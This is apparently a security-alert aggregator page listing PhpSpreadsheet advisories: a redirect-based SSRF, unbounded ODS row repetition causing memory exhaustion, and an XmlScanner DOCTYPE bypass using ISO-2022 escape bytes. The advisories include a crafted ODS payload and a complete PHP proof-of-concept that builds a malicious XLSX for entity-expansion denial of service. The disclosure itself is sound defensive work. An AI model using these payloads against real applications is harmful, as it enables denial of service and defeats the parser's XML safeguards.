Where
-Infinity
0
Severity
6.8
SSRF
AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:N/A:N

PhpSpreadsheet through 5.12.0 contains a server-side request forgery vulnerability that allows attackers to reach internal addresses because writers re-fetch external drawing URLs with filegetcontents() following redirects. Attackers can supply a spreadsheet whose image host serves a valid image to the reader and then redirects the writer's fetch to internal endpoints, leaking response data in generated xlsx, ods, xls or html files.

First published (updated )
Severity
8.7
AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary

When PhpSpreadsheet loads an OpenDocument Spreadsheet (.ods), Ods::processTableRow() reads the table:number-rows-repeated attribute of a <table:table-row> with an unchecked (int) cast, then materialises one cell per repeated row. This value is completely unbounded, so a single ~1.4 KB file can instruct the reader to create up to millions of cells, exhausting memory (fatal OOM). No authentication, no special configuration, and the default read filter are required - any application that loads a user-supplied .ods is affected.

---

Affected versions

The number-rows-repeated expansion has existed in the ODS reader since its inception (pre-dating the current release branches), so all maintained lines are affected.

| Branch | Affected | |--------|----------| | 1.x | ≤ 1.30.6 | | 2.0–2.1 | ≤ 2.1.18 | | 2.2–2.4 | ≤ 2.4.7 | | 3.x | ≤ 3.10.7 | | 4.x–5.x | ≤ 5.9.0 (latest) |

---

Root cause (source → sink)

src/PhpSpreadsheet/Reader/Ods.php:

php // line 816 — row repeat, unchecked (int) cast $rowRepeats = (int) $childNode->getAttributeNS($tableNs, 'number-rows-repeated'); ... // line 1151 — row materialisation loop: NO upper bound for ($rowAdjust = 0; $rowAdjust < $rowRepeats; ++$rowAdjust) { $rID = $rowID + $rowAdjust; $cell = $spreadsheet->getActiveSheet()->getCell($columnID . $rID); // allocates a Cell $cell->setValueExplicit($dataValue, $type); // ... no bounds check on $rowAdjust or $rID ... }

Why columns are NOT vulnerable (already bounded):

The column-header loop at line 1326 shows the correct pattern with bounds checking:

php // line 1326 (processTableColumnHeader): BOUNDED correctly for ($rowRepeats2 = $rowRepeats; $rowRepeats2 > 0 && $tableColumnIndex2 <= AddressRange::MAXCOLUMNINT; --$rowRepeats2) { // HAS BOUNDS CHECK: && $tableColumnIndex2 <= AddressRange::MAXCOLUMNINT }

Additionally, the cell-data column loop at line 1141 calls getCell() which throws exception at Coordinate.php:448 when column exceeds MAXCOLUMNINT (XFD / 16,384):

php // Coordinate.php line 448 if ($columnIndex > self::MAXCOLUMNINT) { throw new Exception('Column string index can not be beyond XFD'); }

Result: Columns are capped at 16,384. Only rows are unbounded.

---

Impact

Memory exhaustion (single valued cell, repeated many rows): A non-null cell value with a huge number-rows-repeated attribute materialises millions of Cell objects → PHP fatal Allowed memory size ... exhausted.

Example: - Payload: <table:table-row table:number-rows-repeated="5000000"> (5 million rows) - File size: 1.4 KB - Memory consumed: ~256 MB (one Cell object per row) - Result: OOM at default memory limit

---

Reproduction

Vulnerable payload (causes OOM):

xml <table:table table:name="Sheet1"> <table:table-row table:number-rows-repeated="5000000"> <table:table-cell office:value-type="float" office:value="1"> <text:p>1</text:p> </table:table-cell> </table:table-row> </table:table>

Not vulnerable (for reference - throws exception):

xml <table:table table:name="Sheet1"> <table:table-row> <table:table-cell office:value-type="float" office:value="1" table:number-columns-repeated="1000000000"> <text:p>1</text:p> </table:table-cell> </table:table-row> </table:table>

This column-repeat example throws Column string index can not be beyond XFD exception (bounded defense, already in place).

1 / 3
Source: GitHub
First published (updated )
Severity
8.8
XEE, SSRF
AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:H/SC:L/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary PhpSpreadsheet's XmlScanner::scan() uses a regex pattern that only accounts for NULL byte (0x00) interleaving when detecting <!DOCTYPE. ISO-2022 escape sequences (0x1B bytes) inserted between the characters of the pattern break the regex match entirely, allowing DOCTYPE declarations with entity definitions to pass through undetected. This enables Denial of Service via quadratic entity expansion on all PHP versions, and XXE/SSRF on PHP < 8.0 or when LIBXMLNOENT is used. Any application using PhpSpreadsheet to process user-uploaded XLSX files is affected.

Details The vulnerability exists in src/PhpSpreadsheet/Reader/Security/XmlScanner.php, method scan(), lines 87–100.

The scanner builds a regex pattern /\0<\0!\0D\0O\0C\0T\0Y\0P\0E\0/ that only handles NULL byte interleaving. ISO-2022 escape sequences (e.g., 0x1B 0x28 0x42 for ISO-2022-JP) inserted between each character of <!DOCTYPE break the regex because it only expects optional \0 between characters.

The XLSX reader extracts XML parts from the ZIP archive and passes each through XmlScanner::scan() before simplexmlloadstring(). The XML parser strips the ESC bytes during charset normalization, producing a valid <!DOCTYPE declaration that the scanner never detected.

Seven ISO-2022 encoding variants bypass the scanner: - ISO-2022-JP (ESC ( B) - ISO-2022-JP-2 (ESC $ B) - ISO-2022-KR (ESC $ ) C) - ISO-2022-CN (ESC $ ) A) - ISO-2022-CN-EXT (ESC $ ) G) - ISO-2022-JP-2004 (ESC $ ( Q) - ISO-2022-JP-MS (ESC & @ ESC $ B)

Internal entity expansion (quadratic blowup) is not blocked by libxml2 2.9+ defaults, making this directly exploitable for DoS on all modern PHP versions.

PoC

Save the following as pociso2022.php in a directory with PhpSpreadsheet installed via Composer:

php <?php require 'vendor/autoload.php';

// ESC ( B = ISO-2022-JP escape sequence (switch to ASCII) $esc = "\x1b\x28\x42";

// Build <!DOCTYPE with ESC bytes between each character $doctype = "<".$esc."!".$esc."D".$esc."O".$esc."C".$esc."T".$esc."Y".$esc."P".$esc."E";

// Internal entity for DoS (works on ALL PHP versions) $entityvalue = strrepeat('A', 100000); $refs = strrepeat('&big;', 200);

$sharedstrings = '<?xml version="1.0" encoding="UTF-8"?>' . "\n" . $doctype . ' sst [' . "\n" . ' <!ENTITY big "' . $entityvalue . '">' . "\n" . ']>' . "\n" . '<sst xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" count="1" uniqueCount="1">' . '<si><t>' . $refs . '</t></si></sst>';

// Build minimal XLSX $xlsx = new ZipArchive(); $xlsx->open('poc.xlsx', ZipArchive::CREATE | ZipArchive::OVERWRITE); $xlsx->addFromString('[ContentTypes].xml', '<?xml version="1.0"?><Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types">' .'<Default Extension="rels" ContentType="application/vnd.openxmlformats-package.relationships+xml"/>' .'<Default Extension="xml" ContentType="application/xml"/>' .'<Override PartName="/xl/workbook.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.sheet.main+xml"/>' .'<Override PartName="/xl/worksheets/sheet1.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.worksheet+xml"/>' .'<Override PartName="/xl/sharedStrings.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.sharedStrings+xml"/>' .'</Types>'); $xlsx->addFromString('rels/.rels', '<?xml version="1.0"?><Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships">' .'<Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/officeDocument" Target="xl/workbook.xml"/>' .'</Relationships>'); $xlsx->addFromString('xl/workbook.xml', '<?xml version="1.0"?><workbook xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships">' .'<sheets><sheet name="Sheet1" sheetId="1" r:id="rId1"/></sheets></workbook>'); $xlsx->addFromString('xl/rels/workbook.xml.rels', '<?xml version="1.0"?><Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships">' .'<Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/worksheet" Target="worksheets/sheet1.xml"/>' .'<Relationship Id="rId2" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/sharedStrings" Target="sharedStrings.xml"/>' .'</Relationships>'); $xlsx->addFromString('xl/worksheets/sheet1.xml', '<?xml version="1.0"?><worksheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main">' .'<sheetData><row r="1"><c r="A1" t="s"><v>0</v></c></row></sheetData></worksheet>'); $xlsx->addFromString('xl/sharedStrings.xml', $sharedstrings); $xlsx->close();

echo "XLSX size: " . filesize('poc.xlsx') . " bytes\n";

// Load with PhpSpreadsheet $membefore = memorygetusage(true); $reader = new \PhpOffice\PhpSpreadsheet\Reader\Xlsx(); $reader->setReadDataOnly(true); $spreadsheet = $reader->load('poc.xlsx'); $peak = memorygetpeakusage(true);

echo "Peak memory: " . round($peak / 1024 / 1024, 1) . " MB\n";

$val = $spreadsheet->getActiveSheet()->getCell('A1')->getValue(); echo "Cell A1 length: " . strlen($val) . " bytes\n"; echo "Entity expansion: " . (strlen($val) > 10000 ? "CONFIRMED" : "not detected") . "\n";

Run: php -d memorylimit=512M pociso2022.php

Expected result: The scanner does not detect the DOCTYPE. The XLSX loads successfully. Internal entities expand, consuming ~45 MB of memory from a ~2 KB file.

Tested on: PhpSpreadsheet 5.9.0, PHP 8.5.3, libxml2 2.9.13.

Impact

| Attack | PHP < 8.0 / libxml2 < 2.9 | PHP 8.x / libxml2 2.9+ | |--------|---------------------------|------------------------| | Denial of Service (quadratic blowup) | Exploitable | Exploitable | | Local file read via SYSTEM entity | Exploitable | Blocked by default | | SSRF via SYSTEM entity | Exploitable | Blocked by default | | File read when LIBXMLNOENT is used | Exploitable | Exploitable |

Any application that accepts user-uploaded XLSX files and processes them with PhpSpreadsheet is vulnerable. The DoS impact is the most severe because it requires no special PHP configuration and works on all supported PHP versions. A 2 KB XLSX causes 45 MB peak memory usage (22,000:1 amplification ratio). Multiple concurrent uploads can exhaust server memory.

1 / 3
Source: GitHub
First published (updated )

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203